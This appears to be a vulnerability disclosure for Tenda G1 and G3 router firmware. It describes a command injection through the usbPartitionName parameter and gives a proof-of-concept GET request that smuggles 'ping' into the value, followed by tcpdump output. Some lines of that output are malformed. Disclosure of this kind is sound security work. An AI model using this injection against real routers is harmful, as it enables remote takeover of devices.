## tenda2

```
vendor:Tenda
```

product:G1,G3

version:V15.11.0.17(9502)\_CN(G1), V15.11.0.17(9502)\_CN(G3)

type:Remote Command Execution

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# Vulnerability description

We found an Command Injection vulnerability and buffer overflow vulnerability in Tenda Technology Tenda's **G1 and G3** routers with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted GET request.

#### Remote Command Injection vulnerability

In formSetUSBPartitionUmount function, the parameter "usbPartitionName" is not filter the string delivered by the user, so we can control the usbPartitionName such as "aaa;ping x.x.x.x;" to attack the OS.

## PoC

### **Remote Command Injection**

We set the value of **usbPartitionName** as **aaa;ping x.x.x.x;** and the router will excute **ping** command.

example.com/action/umountUSBPartition?usbPartitionName=aaa;ping x.x.x.x;

```
eply, id 17, seq 9396, length 64
01:50:49.855163 IP ec2-18-206-161-19.compute-1.amazonaws.com > 67.218.134.122.16clouds.com: ICMP echo re quest, id 9, seq 17917, length 64
01:50:49.855212 IP 67.218.134.122.16clouds.com > ec2-18-206-161-19.compute-1.amazonaws.com: ICMP echo re ply, id 9, seq 17917, length 64
01:50:50:59.397425 IP ec2-18-207-101-188.compute-1.amazonaws.com > 67.218.134.122.16clouds.com: ICMP echo re equest, id 22, seq 3545, length 64
01:50:52.937470 IP 67.218.134.122.16clouds.com > ec2-18-207-101-188.compute-1.amazonaws.com: ICMP echo re equest, id 22, seq 3545, length 64
01:50:55.661270 IP ec2-3-223-125-236.compute-1.amazonaws.com > 67.218.134.122.16clouds.com: ICMP echo re quest, id 16, seq 13518, length 64
01:50:55.661313 IP 67.218.134.122.16clouds.com > ec2-3-223-125-236.compute-1.amazonaws.com: ICMP echo re quest, id 16, seq 13518, length 64
```